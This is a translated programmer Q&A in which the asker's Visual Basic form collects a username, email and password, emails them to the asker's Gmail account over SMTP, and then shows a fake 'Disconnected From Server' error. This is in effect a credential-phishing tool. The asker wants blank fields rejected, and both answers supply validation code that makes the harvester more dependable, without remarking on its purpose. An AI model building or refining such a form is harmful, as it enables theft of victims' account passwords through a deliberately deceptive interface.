Question

我在visual basic中编写程序，用户输入信息，然后将输出发送到我的电子邮件。我有一个问题，有人可以将所有需要填写的文本留空并发送电子邮件。这是我的代码。

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    If TextBox1.Text = "" Then
        MsgBox("Username Is Missing")
    Else
    End If
    If TextBox2.Text = "" Then
        MsgBox("Email Is Mising")
    Else
    End If
    If TextBox3.Text = "" Then
        MsgBox("Password Is Mising")
    Else
    End If
    Dim smtpServer As New SmtpClient()
    Dim mail As New MailMessage()
    smtpServer.Credentials = New Net.NetworkCredential("my email", "my passowrd")
    'using gmail
    smtpServer.Port = 587
    smtpServer.Host = "smtp.gmail.com"
    smtpServer.EnableSsl = True
    mail = New MailMessage()
    mail.From = New MailAddress("my email")
    mail.To.Add("my email")
    mail.Subject = "Username: " & TextBox1.Text
    mail.Body = "Username : " & TextBox1.Text & ", " & "Email: " & TextBox2.Text & ", " & "Passoword: " & TextBox3.Text
    smtpServer.Send(mail)
    MsgBox("Disconnected From Server, Please try again later!")

如果有人可以告诉我代码，他们必须在所有文本框中输入信息，以发送电子邮件，这将是很棒的！

Answer 1

你可以试试这个。



    If TextBox1.Text = "" Then
        MsgBox("Username Is Missing")
        exit sub
    End If
    If TextBox2.Text = "" Then
        MsgBox("Email Is Mising")
        exit sub
    End If
    If TextBox3.Text = "" Then
        MsgBox("Password Is Mising")
        exit sub
    End If

由于

Answer 2

If String.IsNullOrEmpty (TextBox1.Text) Then
    MsgBox("Username Is Missing")
    TextBox1.Focus()
    Exit Sub
Else If String.IsNullOrEmpty (TextBox2.Text) Then
    MsgBox("Email Is Mising")
    TextBox2.Focus()
    Exit Sub
Else If String.IsNullOrEmpty (TextBox3.Text) Then
    MsgBox("Password Is Mising")
    TextBox3.Focus()
    Exit Sub
End If

Visual Basic代码建议

2 个答案: